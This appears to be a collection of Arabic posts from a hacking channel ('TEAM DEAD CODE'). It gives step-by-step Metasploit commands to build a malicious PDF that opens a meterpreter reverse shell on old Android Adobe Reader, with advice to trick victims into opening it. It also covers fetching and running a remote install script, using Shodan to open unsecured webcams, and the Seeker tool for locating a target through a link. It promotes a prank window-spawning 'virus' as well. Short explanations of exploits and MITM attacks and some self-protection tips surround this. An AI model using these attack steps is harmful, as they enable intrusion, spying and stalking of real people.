﴾ TEAM DEAD CODE ﴿

المشروع الاصلي ❤️ https://github.com/Techcraft7/YouAreAnIdiot-Fake-Virus

فايروس بفكره بسيطه يضل يفتح نوافذ ويتحرك ومتكدر توكفه اله ترست الحاسبه يضل يفتح نوافذ لحد متعلك الحاسبه

اصدقائي اي، شي اطلبونه وانا تحت امى

تثبيت Metasploit اخر تحديث pkg install wget wget https://raw.githubusercontent.com/gushmazuko/metasploit_in_termux/master/metasploit.sh chmod +x metasploit.sh ./metasploit.sh msfconsole

كتاب شرح الميتاسبلويت

🛡️ كيف تحمي نفسك من الهاكرز🛡️ 1 :التأكد من نظافة الملفات قبل فتحها مثل exe لأنها ملفات تشغيليه وإذا ارسلك واحد شـي وهـو مـاهو برنـامج وامتداده exe معناه ممكن يكون فيروس أو ملف باتش 2 :عمل سكان كامل على الجهاز كل أسبوع على الأكثر 3 :التأكد من تحديث الانتي فايروس كل أسبوع على الأقل (شركة نورتون تطرح تحديث كل يوم أو يومين) 4 :وضح Virus-Anti جيد و انا انصح بوضع انتي فيرس الشمسية (Avira) 5 :لا تظل مدة طويلة متصل بالشبكة بحيث لو ان واحد دخل عليك ما يظل يخرب فيك و عند خروجك و دخولك مره اخرى للشبكة يغير آخر رقم من الايبي. 6 :هذا الموقع يفحص جهازك و يخبرك بنقاط الضعف و الحلول https://www.antionline.com/ 7 :لا تخزن كلمات المرور أو كلمات سر على جهازك (مثل كلمة المرور لاشتراكك في الانترنت أو البريد الكتروني أو 8 :لا تفتح اي ملفات تكون وصلة على بريدك الا بعد التأكد من نظافتها .. إذا لاحظت حدوث اي شيء غريب مثل خلل في اي برامج أو خروج و دخول السي دي افصل الاتصال بالانترنت فورا و تأكد من نظافة الجهاز.

اختراق هاتف Android باستخدام ملف PDF لاحظ أن هذه ثغرة قديمة تم إصلاحها ولا تعمل على الهواتف الحديثة ، لكن الهواتف القديمة لا تزال عرضة لهذا الهجوم ، يعمل هذا الاختراق مع الإصدارات التي قبل 11.2.0 من برنامج Adobe Reader على أجهزة Android ، تعمل هذه الثغرة الأمنية على تنفيذ تعليمات برمجية عن بُعد في قارئ Adobe والتي يمكن أن تساعدنا في التحكم في جهاز Android عبر ملف PDF ضار تم إنشاؤه باستخدام أداة Metasploit. ------------------ افتح الـ Terminal في الخطوة الأولى عليك فتح الـ Terminal أو الـ Termux أذا كنت تستعمل الاندرويد msfconsole use exploit/android/fileformat/adobe_reader_pdf_js_interface set payload android/meterpreter/reverse_tcp set lhost (IP) set port 4444 exploit ------------------------- الآن بعد أن أصبح ملف PDF الضار جاهزًا ، استخدم الهندسة الاجتماعية لإرسال ملف PDF الضار للضحية ، يمكنك استخدام أي محرر PDF لتحرير الملف وإضافة بعض المحتوى لجعل الملف يبدو أكثر واقعية. مسار المجلد هو root/.msf4/local/msf.pdf ملاحظة: يعمل هذا الهجوم فقط على أجهزة Android محدودة ذات واجهة برمجة تطبيقات لعرض الويب ضعيفة وإصدارات قديمة من قارئ Adobe -_- بمجرد أن تفتح الضحية ملف PDF الضار ، سيتم اختراق هاتف Android ، وسوف نحصل على وصول Shell ، ويمكنك التحكم فيه عن بُعد باستخدام Meterpreter shell

اختراق كاميرات المراقبة باستخدام TERMUX ======================================= اولا تدخل للتيرمكس وتكتب الأوامر التالية 1- pkg install python 2- easy_install shodan 3- pip install shodan requests بعد كتابة اول 3 اوامر تقوم بإنشاء حساب في هذا الموقع ?? http://www.shodan.io بعد التسجيل في الموقع سوف يقوم بإعطائك كود الكود بهذا الشكل ?? تكتب الكود الذي حصلت عليه من الموقع في تيرمكس بهذا الشكل ?? shodan init (الكود الذي حصلت عليه من الموقع) الأن تم تثبيت الاداة تكتب امر البحث عن الكاميرات ?? shodan search webcamxp سوف يعطيك كاميرات بهذا الشكل مثال ?? 192.276.272.287 8080 تقوم بكتابتها في المتصفح بهذا الشكل ?? http://192.276.272.287:8080 وستفتح معك الكاميرة.

التكملة... من ماسبق يتضح لنا معنى الـ PAYLOAD البايلود (الحمولة) لأن الحمولة هنا او الـ PAYLOAD مثل اي منتج يحمله عامل توصيل او الدلفري وحمولتنا هي عبارة عن اكواد برمجيّة ، وعامل التوصيل هو عبارة عن الاستغلال Exploit اللي راح يخترق النظام ويوصّل الحمولة له (Payload ) الــ Exploit او الإستغلال هو طريقة إستغلال المهاجم لثغرة vulnerabilities من اجل التحكم في نظام معلوماتي معين فمثلا عندما يكتشف المهاجم ثغرة vulnerability في نظام معلوماتي فإنه قد يصرف وقت اطول من اجل البحث عن طريقة إستغلال (EXploit) تلك الثغرة من اجل التحكم في ذلك النظام. الــ Exploit او الإستغلال يصنف إلى صنفين رئيسين وهما : إستغلال محلي Local Exploit واستغلال عن بعد Remote Exploit الإستغلال المحلي Local Exploit : يقصد به ان الثغرة الموجودة في النظام المعلوماتي لايمكن ان تشكل خطرا حقيقيا إلا إذا كان إحتكاك مباشر مع الهدف ، اي ان المهاجم داخل الشبكة الإستغلال عن بعد Remote Exploit : لايستدعي توفر شرط ان يكون المهاجم بالقرب من النظام المعلوماتي المصاب يعني ان المهاجم يمكنه إستغلال الثغرة الامنية عن بعد نفترض ان نظام تشغيل مصاب احد مكوناته بثغرة أمنية من نوع  remote exploit  هذا يعني انه يمكن للمهاجم التحكم في الحاسوب عن بعد لنفرض ان عندي ثغرة في برنامج من برامج الـ pdf !! واستغلالها عبارة عن ملف exploit.pdf يعني ملف pdf ممكن تحط فيها الـ payload اللي تبغاه ولنفرض فايروس بيفروست Bifrost وبكذا بيصير عندك فايروس بامتداد pdf هو في الحقيقة ماهو الفايروس نفسه انما هو عبارة عن استغلال لثغرة في برنامج الـ pdf في الوقت الحالي والتي من خلالها راح نحمل اكواد الفايروس على الذاكرة وننفذها في نظام الضحيّة الان عليك فقط ترسل الملف exploit.pdf على شكل كتاب وبكذا ممكن تدخل جهازه بدون ما يدري يحسب ان الملف اللي ارسلته له هو عبارة عن كتاب الكتروني , هذه الثغرة لن تعمل إلا لو كان جهاز الضحيّة مركب برنامج الـ pdf نفسه اللي توجد فيه الثغره اللي تم اكتشافها واستغلالها بالاكواد البرمجيه الخبيثه او مايطلق عليها الفايروس. اتمنى استفادتوا من الشرح

ماهو الـ PAYLOAD (الحمولة) ؟ وماهي الثغرات (vulnerabilities) وكيف يتم استغلالها (Exploit) ,و ماذا نعني بـ Buffer OverFlow ؟ هشرح الموضوع بشكل مبسط وسهل بنصح بعدم استخدام المصطلحات العربية لان المصطلحات هذي ثابته في عالم أمن المعلومات وتعريبها راح يضرّك انت فقط. ناخذ سيناريو بسيط لفهم هذي المصطلحات : توجد ثغرة أمنية (vulnerability) في نظام ولنفرض اسمه x ويوجد استغلال (Exploit) لهذه الثغرة يقوم بعمل طفح ذاكرة (Buffer OverFlow).. في النظام ويجعله ينفذ اوامرنا  الي هي الاوامر اللي احنا نرسلها للنظام مع الاستغلال اسمها {الحمولة} (Payload) ماذا نعني بـ Buffer OverFlow ؟ ترجمتها بالعربي ثغرات طفح الذاكرة وهي عبارة عن خطأ برمجي في البرنامج، يخلّي الهاكر يقدر يحمّل بيانات على الذاكرة أكثر من حجم الذاكرة وبالتالي يتسبّب في خطأ برمجي في البرنامج مما يجعله يتوقف عن العمل ويقوم بتنفيذ اوامر أخرى يتم ارسالها من قبل الهاكر التكملة في المنشور التالي

آداه Seeker تعتبر من الأدوات الرائجة في عملية جمع المعلومات عن شخص ما وتتم من خلال إرسال رابط للـ Target وبمجرد فتحه يمكنك الحصول علي معلومات قيمة وقوية مثل : =============== ما هو نظام التشغيل الذي يعمل عليه ما هو إصدار النظام الرامات الڤيندور إصدار المتصفح الايبي الخاص به المدينة مزود الخدمة. ISP سرعة الإنترنت لديه إتجاه النظام الحصول علي موقعه الجغرافي بالتفصيل من خلال رابط يوضع في تطبيق جوجل ماب رابط الاداه : https://github.com/thewhiteh4t/seeker

أنواع هجمات MITM أو هجمة الرجل في المنتصف وسنذكر 7 أنواع من هجمات MITM يمكن لمجرمي الإنترنت استخدام هجمات MITM للسيطرة على الأجهزة بعدة طرق انتحال عنوان IP كل جهاز قادر على الاتصال بالإنترنت له عنوان بروتوكول إنترنت IPمشابه لعنوان شارع منزلك ، من خلال انتحال عنوان IP يمكن للمهاجم أن يخدعك للاعتقاد بأنك تتفاعل مع موقع ويب أو مع شخص آخر وربما يمنح المهاجم إمكانية الوصول إلى المعلومات التي لم تشاركها بطريقة أخرى -------------- انتحال DNS خادم اسم المجال او DNS هو تقنية انتحال تجبر المستخدم على موقع ويب مزيف بدلاً من الموقع الحقيقي الذي ينوي المستخدم زيارته إذا كنت ضحية لانتحال نظام أسماء النطاقات فقد تعتقد أنك تزور موقعًا آمنًا وموثوقًا به عندما تتفاعل بالفعل مع محتال هدف الجاني هو تحويل حركة المرور من الموقع الحقيقي أو الحصول على بيانات اعتماد تسجيل دخول المستخدم. -------------- انتحال HTTPS عند القيام بأعمال تجارية على الإنترنت فإن رؤية HTTPS في عنوان URL بدلاً من HTTP هي علامة على أن موقع الويب آمن ويمكن الوثوق به في الواقع يشير الحرف S إلى آمن يمكن للمهاجم أن يخدع متصفحك ويدفعه إلى الاعتقاد بأنه يزور موقعًا موثوقًا به عندما لا يكون كذلك من خلال إعادة توجيه متصفحك إلى موقع ويب غير آمن يمكن للمهاجم مراقبة تفاعلاتك مع هذا الموقع وربما سرقة المعلومات الشخصية التي تشاركها -------------- اختطاف SSL عندما يتصل جهازك بخادم غير آمن - يُشار إليه بواسطة HTTP - يمكن للخادم غالبًا إعادة توجيهك تلقائيًا إلى الإصدار الآمن من الخادم ، المشار إليه بواسطة HTTPS يعني الاتصال بخادم آمن وجود بروتوكولات أمان قياسية تعمل على حماية البيانات التي تشاركها مع ذلك الخادم يرمز SSL إلى Secure Sockets Layer وهو بروتوكول ينشئ روابط مشفرة بين متصفحك وخادم الويب. في قرصنة SSL يستخدم المهاجم جهاز كمبيوتر آخر وخادمًا آمنًا ويعترض جميع المعلومات التي تمر بين الخادم وجهاز كمبيوتر المستخدم. -------------- اختطاف البريد الإلكتروني يستهدف مجرمو الإنترنت أحيانًا حسابات البريد الإلكتروني للبنوك والمؤسسات المالية الأخرى بمجرد حصولهم على حق الوصول ، يمكنهم مراقبة المعاملات بين المؤسسة وعملائها يمكن للمهاجمين بعد ذلك انتحال عنوان البريد الإلكتروني للبنك وإرسال تعليماتهم الخاصة إلى العملاء هذا يقنع العميل باتباع تعليمات المهاجمين بدلاً من تعليمات البنك. نتيجة لذلك ، قد ينتهي الأمر بعميل غير مقصود بوضع المال في أيدي المهاجمين. -------------- التنصت على الــWi-Fi يمكن لمجرمي الإنترنت إعداد اتصالات Wi-Fi بأسماء تبدو مشروعة للغاية ، على غرار الأعمال التجارية القريبة ، بمجرد اتصال المستخدم بشبكة Wi-Fi للمحتال ، سيتمكن المهاجم من مراقبة نشاط المستخدم عبر الإنترنت وسيكون قادرًا على اعتراض بيانات اعتماد تسجيل الدخول ومعلومات بطاقة الدفع والمزيد هذا مجرد واحد من عدة مخاطر مرتبطة باستخدام شبكة Wi-Fi العامة. -------------- سرقة ملفات تعريف الارتباط للمتصفح لفهم مخاطر ملفات تعريف الارتباط المسروقة في المتصفح عليك أن تفهم ما هي ملف تعريف ارتباط المتصفح هو جزء صغير من المعلومات التي يخزنها موقع الويب على جهاز الكمبيوتر الخاص بك. على سبيل المثال ، قد يقوم بائع تجزئة عبر الإنترنت بتخزين المعلومات الشخصية التي تدخلها وعناصر سلة التسوق التي حددتها في ملف تعريف ارتباط حتى لا تضطر إلى إعادة إدخال هذه المعلومات عند العودة. يمكن لمجرم الإنترنت الاستيلاء على ملفات تعريف الارتباط للمتصفح نظرًا لأن ملفات تعريف الارتباط تخزن المعلومات من جلسة التصفح الخاصة بك يمكن للمهاجمين الوصول إلى كلمات المرور والعنوان والمعلومات الحساسة الأخرى. --------------https://t.me/deadcode_22